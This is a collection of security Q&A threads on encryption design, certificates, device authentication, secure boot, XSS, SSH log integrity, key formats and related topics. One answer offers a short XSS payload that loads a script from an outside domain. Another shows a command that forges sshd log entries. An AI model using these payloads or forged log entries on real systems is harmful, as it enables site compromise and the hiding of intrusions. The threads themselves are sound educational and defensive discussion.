At a certain point, we need some of the data to be available for offline processing. This means that data needs to be decrypted without the user being present. To do this right, we’ll perform it in a more secure and isolated zone that is not accessible by our users and give this ability only to specific services.

Clearly there is a way for the system to access the data by itself when it needs to. So essentially, all it is doing is verifying whether the requesting user has access to the key or not.

This does sound kind of smoke-and-mirrors (you'll find that all over the place in infosec, sadly). They could have been adding some meaningful security if the app couldn't decrypt user data without the user logging in - that would mean somebody walking off with the whole system still would have had no access; they'd need to do an online attack against each user as the sign in, which takes longer, risks detection, and doesn't work if you do something like steal a backup.
Mind you, the "steal a backup" case - which does happen - is an example where encrypting the data using a key that the server (much less the DB) doesn't store does help. But as you point out, adding per-user encryption really doesn't add much there; if the attacker can get any key out of the HSM, they can presumably get them all. I guess one possible advantage of per-user keys is that, if an attacker gets write access to the DB, they can't overwrite data in one part with data from another part (depending on the cipher and the way it uses IVs/nonces, and how granular or holistic the integrity checks are, this might otherwise be possible).
EDIT: I suppose it could be useful as a second layer of authorization check. If somebody finds an authz bypass in the app then normal access controls wouldn't stop them from accessing another user's data. However, if each user's data is encrypted with per-user keys, then an authz bypass might not actually let you access somebody else's data anyhow. So yeah, it might be a defense-in-depth thing.

Tech companies in general, and especially fintech companies, love to make extravagant claims about their security. Most of them are meaningless, though, or at best are addressing some tiny threat when the most likely attack vector by far is simply spearphishing or similar. I think this is likely to be one of them. But... hey, at least they use encryption at rest and store the keys in an HSM? That's better than a shocking number of companies (though those facts alone don't guarantee any added security, depending on how those systems are used).


Does a renewed certificate open old messages? I have a digital certificate that I use to exchange messages with peers, my certificate expiration date is due next year, suppose I renew this certificate before it expires, will I be able to open the received messages signed/encrypted with the old certificate? Will my peers be able to open the sent messages signed/encrypted with the old certificate?

Will the renew process create another key-pair? This process is very confusing to me, sorry if the question is too lame, couldn’t find any useful information searching the web.

Thank you

What "opens" (decrypts) a message is not the certificate, but the private key. The certificate contains the public key, which is mathematically linked with the private key, and is used to encrypt messages.

When the certificate is expired, people stop using it; that is, they will stop encrypting new messages with the public key contained in the certificate. But, as long as you keep a copy of your private key, you will be able to decrypt messages which have previously been encrypted and sent to you.

Renewal is the act of obtaining a new certificate from the CA. The CA may include the same public key in the new certificate; or it may require that you generate a new key pair. This is up to the CA and its policies. This does not change the core principle: private keys do not "expire". Expiration is a rather artificial way of invalidating a public key which is cryptographically fine (as Peter Gutmann puts it, the "expiration date" should be called "renewal fee due date").


Authenticating a device before accepting data from it The situation is as follows: An USB-device is connected to a computer and sends data to a specific software, which should only accept this data if the sending device was validated/authenticated by it before.

As anyone is able to reverse-engineer what the software is doing (with more or less effort), the source code of the software is considered to be public for now.

The software of the device is, of course, also not 100% secure and can be reverse-engineered, but breaking open some chips etc. would take a lot more time and effort, therefore the device (and its software) is considered private.

Neither the computer, nor the device are connected to the internet.

Do you have any idea how the process of authentication can be done without the software on the computer containing any critical part (which might be reverse-engineered and reconstructed, leading to a positive authentication of a "fake" USB-device and the software accepting false data)?

Thank you all for your help!

What you are describing is how some smart cards perform authentication checks. In your case however, the smart card is a USB device. The approach is similar:
One way authentication
If it is just the USB device that has to prove its identity, you should implement an authentication scheme that is run before the actual data exchange takes place. The USB devices stores a private key that it can use to prove its identity. For instance, the computer sends a challenge to the USB device, the device sends back a response that is signed using its private key. The computer (which knows the public key of the USB device) can now verify whether it is communicating with the USB device: only the 'real' device would know the private key and hence only this device is able to produce a valid response to the challenge.
You may consider a hard-coded private/public key pair if you want to deploy this solution to a small number of devices. If you want to deploy this solution on a larger scale or in a more dynamic environment, you may want to consider using certificates (e.g. X.509), like TLS does.
As deviantfan noted, be aware that revoking keys/certificates might become an issue under your conditions.
Two-way authentication
If you want mutual authentication (i.e. the USB device and the computer have to prove their identities to each other), it gets slightly more complex. The computer should in this case also have a private/public key pair, and the USB device should be aware of it. In addition to the aforementioned authentication steps, the USB device should now verify whether the computer produced a valid response to its challenge.


Remotely fingerprint AV software on LAN machines? Does anyone know of a method to fingerprint machines in the LAN and find out what kind of AV software is installed?

There are two ways to detect this, Passive or Active.

Passive

This is what Iszi was referring to. If you can get yourself in the data stream you can glean lots of information. Using flow analysis you can watch for machines making connections to known update servers. So look around at some AV products, get a list of IP addresses from which they serve their updates, and then filter on some of the common data transfer ports. For AV this tends to be either HTTP, both 80 or 443 or FTP.

If you have access to the data stream directly, whether through a tap or span port, you can do some deeper analysis. Here, you can actually troll through the communications channel to look for signature bundle downloads. Depending on the vendor you may even be able to get exact product and/or version numbers from the UserAgent or filename of the signature bundles.

Additionally, if you have an IDS/IDP in place, you could likely construct your own signatures to look for this kind of behavior. Or, better yet, your vendor may even provide some. For example, Sourcefire ships a very large contingent of "Policy" signatures that allow you to look for corporate policy violations such as browsing job search websites, performing Google Images searches with SafeSearch disabled, or using Skype. You may be able to find application signatures for AV in a package like this.

Active

This is what you really want, to log into the systems themselves and check the software inventory. Being able to do this is highly dependent on your organization and how how much control you have over the client machines. If you have administrative access to the systems, you can remotely log in and pull whatever information you want. Nessus, for example, given Administrator privileges will perform a full software inventory. Or, the same information can be gathered through SCCM. You can always resort to writing a WMI a script to remotely poll, but there are so many better tools out there now, that you shouldn't have to.

If you're lucky enough to have a NAC system in place, you could also perform this polling as part of your pre-authentication posture assessment. Of course, if you're lucky enough to have a fully functional NAC in place, then you're probably lucky enough to have some of the other methods available as well.


Secure boot for devices which don't have hardware security element I understand that Root of Trust is necessary for implementing a secure boot on a device. Root of Trust is strong and trust worthy if this comes from hardware security elements like HSM/TPM/..
So for devices which are not having hardware security elements, is there is way to implement Root of Trust in software? what is the right/best practice of implementing RoT and hence secure boot on such devices?

Yes you can. You can use eFuse to store public key of the root certificate. This becomes root of trust. eFuses can be written only once and once eFuses are blown by writing bits into the eFuse array, it is not reversible. To prevent physical tampering with first stage bootloader, it must be burned on non-programmable storage which must be physically hard to replace and may damage the PCB if an attacker tries to. You can use CPU die for this. Using the public key, it can validate signature on second stage bootloader by using PKI. Second stage bootloader can be hardcoded with public key that verifies the kernel and kernel verifies system.
To revoke public key of root certificate, you have to provision empty eFuse arrays which can be later blown to write new public key by pushing OTA updates. To revoke public keys of later stages in chain of trust, replace their hardcoded public keys and recertify their signature. For rollback protection, store last known running version of second stage bootloader in eFuse as well which can be validated on each boot. If you run out of eFuse arrays, you can no longer revoke root public key so they should be used when there is absolute necessity.
Qualcomm Snapdragon and Samsung Exynos SoCs are known to use eFuse to kickstart root of trust and to verify warranty status.


15 Characters or Shorter XSS Payloads I found an XSS Vulnerability on a large site, and I want to report it, but the only limit to the vulnerability is that it only allows 15 characters maximum. This obviously has limits to what payloads you can run.

Does anybody know some interesting payloads that are 15 characters or less and demonstrate the vulnerability to report it?

Brutelogic wrote a brilliant article about this at http://brutelogic.com.br/blog/shortest-reflected-xss-possible/
some time ago.

One of the ideas from the article (paraphrased):

.. It’s possible to have an URL parameter echoed in a source of a script:

<script src=“INPUT”></script>

We can use this to launch a full XSS attack providing a source with a short domain like //14.rs (7 chars length). A variation decreases the injection to just 5 chars if double slashes are already in native code:

<script src=“//INPUT”></script>

# <script src=“//14.rs”></script>


SSH raspberry pi security I've setup an SSH server on my Raspberry Pi. I use RSA keys to login, I disabled root login, password authentication and I use port forwarding to login from outside my network.

I can see the connection logs from the file /var/log/auth.log but I noticed that it is cleared on regular basis (I think some days) and can be modified by a standard user.

Isn't this a security problem, someone that manages to break into it could clear the log and leave no traces, can I prevent this?

There will be a cronjob which runs logrotate daily as root, you can check the configuration in /etc/logrotate.conf and /etc/logrotate.d/*. If you make any changes you should run /usr/sbin/logrotate -dv /etc/logrotate.conf to make sure there are no errors in the new configuration.

In addition to auth.log you should also rotate and keep wtmp and btmp (the second one tracks failed login attempts), most systems will keep just one rotation of those.

The normal setup is that /var/log/ is not word-writeable, log files within are also not world-writeable, and sometimes not world-readable (the latter for files like auth.log which may accidentally contain passwords entered into username fields, CWE-532).

You should check the file permissions are as expected, it's the job of logrotate to create new log files and set the correct owner/permissions (see the create directive). However, the default is to apply the permissions and ownership of the current file: if owner/permissions are changed once, those will be maintained on every new instance of that log file (so a previous mistake can come back to haunt you).

Even though a normal user cannot write to or directly modify those files, a local user can probably append to them indirectly via syslog:

logger -p auth.info -it sshd \
  "Accepted password for root from host.badguys.com port 31337 ssh2"

(The situation is worse if you accept syslog messages via UDP over the network, but that's not usually enabled by default in any sane configuration.)
This is an example of CWE-117, and shows one of a number of problems with syslog.

A different method must be used to actually overwrite or delete data if a login is acquired by an attacker (or untrusted user), e.g. privilege escalation, or creative use of setuid/setgid programs.

But, there is opportunity for denial-of-service type attacks here. If you don't have some form of rate-limiting or lockout on sshd, an attacker may be able to flood your logs with connection logging (and if he breaks in, may be able to cover his tracks with forged entries). If logrotate is using size-based rotation (not default) he may be able to rotate telltale entries out of existence, with no extra privileges. If you use time-based rotation, he may be able to trivially fill the filesystem you are logging to, and prevent further events being logged.

To summarise:

if the log file permissions are wrong, yes an attacker could remove telltale log file entries
(if an attacker can leverage some other local privilege escalation, he can do this anyway of course, but then you have a bigger problem)
you should check the log file permissions are to your satisfaction, e.g. not world-writeable, and possibly not world-readable — most configurations do not hard-code paranoid permissions in the logrotate.conf
standard syslog has a number of problems, including authenticity, integrity and rate-limiting
consider using /etc/hosts.allow to whitelist your remote IP blocks for sshd access, if possible, it's a reasonable mitigation measure
you should use some type of dynamic blocking (on a Pi you might look at Micro Fail2Ban)

One of the best ways to limit what an attacker can do to your log files is to log them to a different system over a secure network. Other possible solutions include append-only files enforced by the OS (see this on Unix & Linux.SE), this is tamper-resistant.

You can also read about improvements to *nix logging in the rsyslog maintainer's blog. One of the features discussed there is linked-timestamping, which is tamper-evident.


What is known about the sirefef/zeroaccess malware/botnet? There appears to be an increase in p2p communication among botnets that has been attributed to the sirefef/zeroaccess malware botnet. What is known on this particular threat?

See http://techchannel.att.com/play-video.cfm/2012/8/31/AT&T-ThreatTraq-SIfref-DVRbot-Internet-Weather for a video blog on this. Looking at AT&T's 'internet weather', the activity was picked up and they give an analysis of what they found.

The kindsight blog also has information at http://www.kindsight.net/en/blog/2012/06/28/malware-analysis-new-cc-protocol-for-zeroaccesssirefef

http://thehackernews.com/2012/09/9-million-pcs-infected-with-zeroaccess.html


Pros and cons of having two identity providers My company has applications on cloud and intranet. Also, we have various roles such as employee, customers, partners etc. We would like ID federation between services hosted on public cloud and internal applications. Following scenarios are possible

Employee accessing cloud services from intranet
Employee, customers, partners accessing cloud services from internet
Cloud hosted services accessing data services hosted internally on corporate network
Employee, customers, partners accessing web applications/services hosted internally on corporate network from internet.
Employee, customers, partners accessing web applications/services hosted internally on corporate network from intranet.

Whenever access is from internet to either internally hosted applications or cloud based applications, SSO should be created via multi-factor authentication, but if same applications are accessed from intranet, either userid-password is enough or if user is an employee, company SSO should be federated to cloud based services/applications.

We are debating if there are any pros or cons of having two Identity providers, one deployed in DMZ and other in internal network. The one in DMZ will enforce access going from intranet to cloud based services or users accessing cloud based services from internet will get federated to this IDP. Also, users from internet trying to acccess internal applications will get multi factor authenticated by this IDP in dmz. The IDP inside the internal network is used only for employees accessing intranet applications.

My question is that is the above kinda dual IDP  a standard way to allow access? What is the harm of having only one IDP ?

The easiest way I think is to identify a single identity provider (authentication/authorization) as the "Authoritative Source". This will store all of your identity information across all of your applications and services.

This will provide the master record by which you would be able to provide authentication and authorization for any and all users. This single authoritative source, should then be able to feed data into the DMZ zone to provide the information to the other applications that are out on the cloud. This ensures that accounts cannot be reanimated due to someone enabling an account within the DMZ.

This also helps a lot when you are provisioning and deprovisioning identities as you will only have to remove the user from one record rather then disabling them across two or three different sources. (Creates desperate processes and causes weaknesses in your IdM process.)

|   Cloud Infrastructure  |
---------------------------
|          Internet    ^  |
|                      |  |
---------------------------
|    DMZ               |  | <= External copy of authoritative source (read only from external)
|                      |  |
--------------------------|
| Internal - Authoritative| <= Authoritative Source (HR records/etc) reside here.


Safe user input HTML in 2019 (I know this topic has been discussed a lot in the past, and I've read a lot of threads here as well as OWASP, but have additional questions including the specific CSP listed below.)

We want to allow our users to write each other messages via a WYSIWYG editor, which allows html. So user1 sends user2 a message, we of course display that message to user2; a scary scenario to say the least.

Assuming that we use this editor which allows HTML, is the following plan about as safe as we can hope to be while still allowing a smooth user experience? The editor itself called "Trix" is used and actively maintained by a large company, Basecamp, and they are using it in production for a similar use case. So while I would prefer for security reasons to use markdown and stripping all user input html, if Basecamp can use the editor relatively safely, I would hope we can too.

Our plan is:

Use HTML Purifier to whitelist
A "strict" CSP, specifically Google's proposal: https://csp.withgoogle.com/docs/strict-csp.html

The CSP:

Content-Security-Policy:
  object-src 'none';
  script-src 'nonce-{random}' 'unsafe-inline' 'unsafe-eval' 'strict-dynamic' https: http:;
  base-uri 'none';
  report-uri https://your-report-collector.example.com/

The editor is great for usability, but it should really be ignored when taking about security against XSS.

It's the sanitizer running on the server that needs to take care of ensuring security of injected HTML. No amount of fiddling in the browser is going to completely protect the user against unsanitized input if you need to mix in HTML (OTOH, if you just want plain text, that's simple, just use innerText).


What to consider when generating random code as part of two-factor authentication? I want to write a patch for a two factor authentication system that someone else has started. The code is a module for a PHP content management system and sends an SMS message to a user's phone, after they successfully enter a username and password. If the user then types the code into the site, they get logged in.

The main part missing from the module is the random code generator. I was considering basing the generator on the Second Factor plugin for WordPress. Specifically, the second_factor_regenerate_token function does essentially what I need. Is the method used by that function relatively safe? Is there anything I should pay special attention to when adapting it?

Summary. No, that code does not look safe.  It doesn't have enough entropy that will be unpredictable to the adversary.  I would not re-use that code.

The right way to do it. To generate a random code, I suggest that you read the desired number of bits from /dev/urandom.  This is a one-time code, and it needs to be random and unguessable and cryptographically strong.  That's exactly what /dev/urandom provides.  The OS manufacturer has already worked out how to do this securely, after great thought, and that approach has been vetted by security experts.  I suggest you simply re-use their existing work.

Analysis of second_factor_regenerate_token.  I don't know if I'm understanding the code properly, but it looks like it doesn't have enough entropy.  It hashes the user's username, user's password, HTTP headers, and the current time.  That's not enough entropy.

Remember that the purpose of a second factor is to prevent unauthorized individuals who somehow have come to know the user's username and password from gaining access to the system.  (If the unauthorized individual doesn't know the user's username and password, then we don't need a second factor; the first factor already blocks them.)  So our analysis should start from the assumption that the attacker knows the user's username and password.

Once we make that assumption, the only remaining entropy comes from the current time and the HTTP headers.  The time definitely does not have enough entropy: it will be known, or almost known, to the attacker (possibly off by a few seconds, due to imperfect time synchronization, but the attacker can just try all possibilities).  I don't know how much entropy will be in the HTTP headers, but it doesn't sound like a solid basis for security.

Therefore, based upon my interpretation of second_factor_regenerate_token, assuming I am correctly understanding how the code works, I do not think it represents good security engineering.  I would not re-use that code.


Difference in ECDSA private key format I have two private ssh keys, - one was originally created with ssh-keygen the other one with a python script. They are supposed to be the same, however one works for authentication and the other one doesn't.

After analyzing them with https://keytool.online/ and there seems to be one minor difference when comparing them in the OpenSSH format.

Explanation:

1) Copy both keys in https://keytool.online/ in the ECDSA tab:

Key 1 (Created with ssh-keygen)

-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIBaYCj/CjZjq9aYehcvyejxqx5WVJ3OnfNbBq2+7iKyJoAoGCCqGSM49
AwEHoUQDQgAE1Rcx8Zo84aqSWqT/7i5NN7p+PI6dRfGdFFJapfcBlMhMjFsJkrxh
vncLphHuZHBoEILRMKf7hfVJ+tMwHMxQMA==
-----END EC PRIVATE KEY-----

Key 2 (Created with python)

-----BEGIN PRIVATE KEY-----
MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgFpgKP8KNmOr1ph6F
y/J6PGrHlZUnc6d81sGrb7uIrImhRANCAATVFzHxmjzhqpJapP/uLk03un48jp1F
8Z0UUlql9wGUyEyMWwmSvGG+dwumEe5kcGgQgtEwp/uF9Un60zAczFAw
-----END PRIVATE KEY-----

2) View them in the OpenSSH format:

Key 1 (Created with ssh-keygen, in OpenSSH Format)

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNl
Y2RzYS1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQTVFzHxmjzhqpJapP/u
Lk03un48jp1F8Z0UUlql9wGUyEyMWwmSvGG+dwumEe5kcGgQgtEwp/uF9Un60zAc
zFAwAAAAsGt4wBFreMARAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAy
NTYAAABBBNUXMfGaPOGqklqk/+4uTTe6fjyOnUXxnRRSWqX3AZTITIxbCZK8Yb53
C6YR7mRwaBCC0TCn+4X1SfrTMBzMUDAAAAAgFpgKP8KNmOr1ph6Fy/J6PGrHlZUn
c6d81sGrb7uIrIkAAAASZWNkc2Eta2V5LTIwMTkwOTIwAQIDBAUG
-----END OPENSSH PRIVATE KEY-----

Key 2 (Created with python, in OpenSSH Format)

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNl
Y2RzYS1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQTVFzHxmjzhqpJapP/u
Lk03un48jp1F8Z0UUlql9wGUyEyMWwmSvGG+dwumEe5kcGgQgtEwp/uF9Un60zAc
zFAwAAAAsFhPTMdYT0zHAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAy
NTYAAABBBNUXMfGaPOGqklqk/+4uTTe6fjyOnUXxnRRSWqX3AZTITIxbCZK8Yb53
C6YR7mRwaBCC0TCn+4X1SfrTMBzMUDAAAAAgFpgKP8KNmOr1ph6Fy/J6PGrHlZUn
c6d81sGrb7uIrIkAAAASZWNkc2Eta2V5LTIwMTkwOTIwAQIDBAUG
-----END OPENSSH PRIVATE KEY-----

3) Use a text difference viewing tool of your choice. You'll notice a few characters are different. What do they represent? What's the difference between both keys? All the domain parameters seem to be identical.

Note the difference:

(The keys will not be used for anything important and have just been created to demonstrate this issue)

(I feel sure I've answered essentially this question before, but I can't find a dupe.)

OpenSSL partly created, and supports, two (or four depending how you count) types of PEM formats for private keys.

Your first file, with BEGIN EC PRIVATE KEY (and no Proc-type,DEK-Info inside), is the 'traditional' or 'legacy' format which is specific to one algorithm, EC. It contains the private key in the format defined by SEC1 from SECG and also available as rfc5915, then encoded/wrapped as 'PEM' i.e. base64 with linebreaks and header/trailer lines.

Your second file, with BEGIN PRIVATE KEY, is the 'new' (since about 2000!) PKCS8 format which is generic and covers all algorithms. Actual PKCS8 was first published by RSA Labs and has become harder to find since RSA was acquired by EMC and that by Dell but is also available as rfc5208, again encoded/wrapped in PEM. This format (but not the legacy format) is among several PEM formats which are updated and restandardized in rfc7468 (see section 10, even though the TOC doesn't hyperlink it correctly!)

Although formatted differently, they do contain the same key:

$ cat se218335.a; openssl pkey -in se218335.a -noout -text
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIBaYCj/CjZjq9aYehcvyejxqx5WVJ3OnfNbBq2+7iKyJoAoGCCqGSM49
AwEHoUQDQgAE1Rcx8Zo84aqSWqT/7i5NN7p+PI6dRfGdFFJapfcBlMhMjFsJkrxh
vncLphHuZHBoEILRMKf7hfVJ+tMwHMxQMA==
-----END EC PRIVATE KEY-----
Private-Key: (256 bit)
priv:
    16:98:0a:3f:c2:8d:98:ea:f5:a6:1e:85:cb:f2:7a:
    3c:6a:c7:95:95:27:73:a7:7c:d6:c1:ab:6f:bb:88:
    ac:89
pub:
    04:d5:17:31:f1:9a:3c:e1:aa:92:5a:a4:ff:ee:2e:
    4d:37:ba:7e:3c:8e:9d:45:f1:9d:14:52:5a:a5:f7:
    01:94:c8:4c:8c:5b:09:92:bc:61:be:77:0b:a6:11:
    ee:64:70:68:10:82:d1:30:a7:fb:85:f5:49:fa:d3:
    30:1c:cc:50:30
ASN1 OID: prime256v1

$ cat se218335.b; openssl pkey -in se218335.b -noout -text
-----BEGIN PRIVATE KEY-----
MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgFpgKP8KNmOr1ph6F
y/J6PGrHlZUnc6d81sGrb7uIrImhRANCAATVFzHxmjzhqpJapP/uLk03un48jp1F
8Z0UUlql9wGUyEyMWwmSvGG+dwumEe5kcGgQgtEwp/uF9Un60zAczFAw
-----END PRIVATE KEY-----
Private-Key: (256 bit)
priv:
    16:98:0a:3f:c2:8d:98:ea:f5:a6:1e:85:cb:f2:7a:
    3c:6a:c7:95:95:27:73:a7:7c:d6:c1:ab:6f:bb:88:
    ac:89
pub:
    04:d5:17:31:f1:9a:3c:e1:aa:92:5a:a4:ff:ee:2e:
    4d:37:ba:7e:3c:8e:9d:45:f1:9d:14:52:5a:a5:f7:
    01:94:c8:4c:8c:5b:09:92:bc:61:be:77:0b:a6:11:
    ee:64:70:68:10:82:d1:30:a7:fb:85:f5:49:fa:d3:
    30:1c:cc:50:30
ASN1 OID: prime256v1

OpenSSH began using the OpenSSL legacy formats (RSA and DSA as well as EC) decades ago, and ssh-keygen has never been upgraded to write PKCS8, although it as well as the ssh and sshd (and ssh-add) programs can read PKCS8, because they actually call OpenSSL library routines that handle both types. In particular after extracting the pubkey and configuring it, I can use either of your files to authenticate just fine:

$ ssh -i se218335.a localhost echo hi
hi
$ ssh -i se218335.b localhost echo hi
hi

If you are having a problem using the second file and want to solve it, you might ask about that.


Storing User's Private Keys in DB I have the need to store private keys for multiple users, so that my server application can sign files on their behalf. I want to store these keys securely, but couldn't find much information on this matter.

I also need to support the classic "I lost my password" feature - if a user loses their password, we need to be able to generate a new one for them and for the private key not to be lost.

What are the best practices in these scenario?

P.S. A very similar question has been asked on SO 3 years ago.

IMHO you have a questionable design here. When I read

  my server application can sign files on their [my users] behalf

all lights suddenly flash red. If your application can sign something on behalf of a user, you sign it. It may be fine in your use case, but you should carefully review the responsability chain. If in addition you need to be able to recover the private key if the users lose their password, that means that you have a full access to that key even without the users being notified of it (or without their explicit consent). That also means that anobody with admin privileges on the server can sign anything on behalf on any user. IMHO, the keys no longer belong the users but they are just personal information that you need to protect from unwanted disclosure. The common protection is then in layers:

physical security to protect the machine
internal security rules to identify who has privileges on what
network security to protect the system from remote accesses
multiple software layers so that an attacker would have to break at least two security points to access the information: for example, sensitive data must be stored in encrypted form, so that the attacker needs to gain access to both the encrypted data and the decryption key


Why is information/cyber security important to the average internet user? Why exactly is important? Are there any significant reasons that information/cyber security should be taken seriously, for an average internet user? I've heard of broad explanations (like others could access your personal info), but never exactly how serious and scary it is. Why do we need to care about it?

Why do you lock your house? Why do you not walk down dark side streets at night in a city's downtown? Why do you not start bar fights? Why practice safe sex? Because of the risk of loss.

Security is about protection. Now that most of one's life is held and transacted online, one needs to protect oneself from loss there, just as in the physical world.

You might not care about loss online (this is becoming a more common perception), but that does not diminish the importance of security online. I would point out that those I have talked to who do not care about loss online are not aware of what they could lose. Similar to the lack of knowledge of what could happen when one does not practice safe sex.


How much entropy does a smartphones' pattern lock have? What's the entropy of smartphone "pattern passwords"? Through how many nodes do I have to go until I'm safe (say, a reasonable 42 bits of strength)?

You cannot reach 42 bits of entropy with a regular android unlock pattern. The 3x3 grid is limited to 389,112 distinct patterns, giving you an entropy of 18.57 bits. This is less than you might assume since a dot cannot be selected twice and you cannot skip intermediate dots on a straight line.

Additionally, research has shown that many actual patterns are predictable and in fact much less complex than they could be. For instance, a majority of users begin their pattern in one of the four corners.

Besides the low entropy there are other security problems with unlock patterns such as the smudge attack. If a pattern alone can be a suitable security measure has also been discussed here.

BTW, some mods (e.g. Cyanogen mod) support bigger grid sizes but I personally find a truly random pattern harder to remember than an equivalent PIN code.


Program compiled with mingw32 is reported as infected I'm using a Linux system and cross-compiling to Win32. The most trivial Windows source code ("Hello world" by Petzold), when compiled using i686-w64-mingw32-gcc (gcc version 7.3-win32 20180312), generates a valid Windows executable; this executable runs nicely on Wine (under Linux) and on native Windows; however, when tested using Anti-Virus software, I get multiple virus detection reports.

Virustotal.com's report for the file includes:

BitDefenderTheta: Gen:NN.ZexaF.34106.x8Y@aqPOh2m
Cylance: Unsafe
Cyren: W32/Rozena.O.gen!Eldorado
Endgame: Malicious (moderate Confidence)
F-Prot: W32/Rozena.O.gen!Eldorado
Ikarus: Trojan.Win32.Rozena
Microsoft: Trojan:Win32/Wacatac.C!ml
Rising: Malware.Heuristic!ET#89% (RDMK:cmRtazr+3...

Is this reliable? Could something in the libraries I have for Wine/mingw/gcc be infected, or is this just too many false positives?

Source code: http://tal.forum2.org/helloworld.c; compiled executable: http://tal.forum2.org/helloworld.exe. Any help would be appreciated.

Your Anti-Virus (Defender or any other software) sees a virus signature in your safe file due to:

Your code is compiled by minGW. Many viruses are written in C and compiled in minGW to be small.
Thus, AV sees your file as a small executable written in C wich uses minGW  compiler call sequence. Thus, AV sees some of your code translated to compiler call sequence as a virus signature (in your case it is Trojan:Win32/Wacatac.C!ml and some others).

This is called false detect by AV-software.

What can you do in this case:

Try to find wich line of code in your executable creates this false-detect
Report to AV developers with this problem. They should fix it adding this call sequence as a safe signature to their virus database or make exclusion (depends on software)

: this is not a small problem, nor its a big problem. But its a problem wich can affect some students who write small C-programs.
: also i must add that sometimes this problem can only be partly solved due to the fact that AV-developers can add SHA256 (or other) of your exact file as an exclusion. Then you create another exe with minor changes and again you have to reach out to AV-developers. Thus, for these problem to be fully solved, you have to demand from AV-developers to conduct a research and create an working algorithm wich prevents false detect of a small minGW-compiled files.


How to secure sensitive data in application with message queue Currently we are creating one small service, where we are using some sensitive data from users(not worth zillions but to me it is like password). The idea is that application itself only inserts this data into db and creates some jobs to run in queue.

The problem is how to secure this sensitive data?

Currently the only good solution which I see is:

Encrypt and hash this data on application server. So in db we have hash for verification/comparison, encrypted encryption key and encrypted data.
Encryption key in encrypted with public key.

On queue worker server we have private key, which allows us decrypt and process data.

Why I see this working.
1. In case of sql injection only encrypted data is compromised.
2. In case application machine is compromised there is still no private key to decrypt data.
3. Queue worker server is quite isolated and sits under firewall. So private key is somehow safe.

Does this sounds like a plan?

What is your threat model?  Always answer that first.

It looks like existing data is probably safe (given most reasonable threat models).  However, you are as strong as your weakest link.  The front-facing servers still have to hold onto the data during processing.  Does your threat model include a hacker that compromises that server and simply begins siphoning off sensitive data as it is entered by users?


Why can't reverse engineering be automated? I am still in college for a Computer Security degree and took my first assembly language based class last semester. We touched upon the subject of reverse engineering and why it is an important part of fighting malware and ill-wished applications.

During my class we mainly used IDA pro, but also checked out some similar and free browser based applications.

In these applications, we were able to obtain so much information about the instructions and low level code that I was wondering why we even need a human to go over it and recreate the higher level languages (like writing a 'C' version of a piece of malware).

Here my question:

Why can't a program use the information that is present in assembly code and turn it into a simplistic language automatically?

I understand that it wouldn't look the exact same way it would when it was first written, but shouldn't it be possible to re-create it in a way that makes it easier to read and follow?

It's just something that I can't wrap my head around, thanks!

Short Answer

It's absolutely possible, but the accuracy and readability is a completely different matter. One clarification to be made: Reverse Engineering is not Decompiling.

Long Answer

Reverse Engineering is generally the process by which you take something (anything really) apart to see how it works.  Disassembling is when you take a binary formatted file and interpret the machine code into is assembly code.  Decompiling is interpreting the assembly code into a higher level language.

I believe your question is really, Why can't decompiling a program be automated?  Well it can be!

There are several different Java Decompilers.  Java byte-code is completely reversible due to its architecture independence.  What becomes tricky is decompiling a language like C.  Hex Rays does provide a C decompiler, but C is a complicated language.  There are 10 different ways to accomplish the same task.  What can be done in 20 lines, can be done in 3, or 10.  It's the interpretation of the language that makes the automation of decompiling C difficult.

Sure you can decompile C to its most simplistic instructions.  Then you get lines like **(*var1) = 3; or (*bytecode)(param1) which can be a call to a function pointer.  What's worse is that you must remember that these are still just an interpretation.  I can't stress that enough.  What if the interpretation is wrong?  This is something you have to worry about at the disassembly level, but at least there are a reasonable amount of outcomes for 5-6 bytes for an instruction.  Now you have to interpret 15-20 bytes in order to figure out a function call or a for-loop.  If there are anti-reverse engineering techniques then it makes the interpretation even more difficult.

Context plays a huge role.  What's the difference between a function pointer, a char * pointer, and a uint32?  Absolutely nothing, except the context in which its used.  Compiler optimizations might use __fastcall rather than __stdcall.  Which means now you have to interpret where parameters to functions are going to be; either on the stack or in a register?  Inline functions, macro's, #defines will all become part of a larger subroutine.  There's no real way to interpret those types of contexts.


Write protect a partition I have an HDD partition that contains a Karaoke song library of 400 GB. Backing it up is cumbersome at best and requires a large external drive and hours of time.
The library is the only thing on the partition, so there is no reason to write to it.

My question is how do I write protect the partition, so that ransomware can't encrypt its data? Can I just use the NTFS permissions to do it?

In theory, no that's not sufficient - there could potentially be examples of ransomware which can modify NTFS permissions, since they would be running on your machine, so potentially have access to anything which can be changed in software.

In practice, I've not so far seen any ransomware which does this (although some do change permissions on system folders and partitions containing restore data), so it might currently be safe. I still wouldn't rely on it though, since it's entirely possible that a new strain of ransomware will come out tomorrow which specifically targets files with write protect flags set!

There is a device known as a "write blocker" which is available and is designed to allow data to be read from a drive whilst preventing data being written back to it. Using one of those with your drive would work as protection, but could be somewhat inconvenient, and they aren't especially cheap. You can also get external drive caddies which offer physical write protection switches, which might be an option if you're wanting to take your data on the move for use on other computers.


SSO via HMAC and shared key. Can this be improved? Given an authenticated user on A.com, we want to redirect the user to B.com so that she'll be immedaitely authenticated. The scheme I'm considering is very basic:

A.com and B.com both share key S.

On A.com, redirect the user to https://B.com/auth?userid=userid&time=current_time&mac=MAC where MAC is HMAC-SHA256(userid + time, S).

B.com/auth requires that given MAC is valid and time is within 5 seconds of the clock.

Given the client will be on SSL, I figure a replay attack is unlikely but I've offered some minimal protection. I don't need anything like an OAuth login token; the client will always access B.com via this process.

Is there anything else I'm missing? Is there a formal name for SSO like this?

The MAC is the right tool here, and HMAC/SHA-256 is fine. Using a 5-second tolerance might be a bit optimistic:

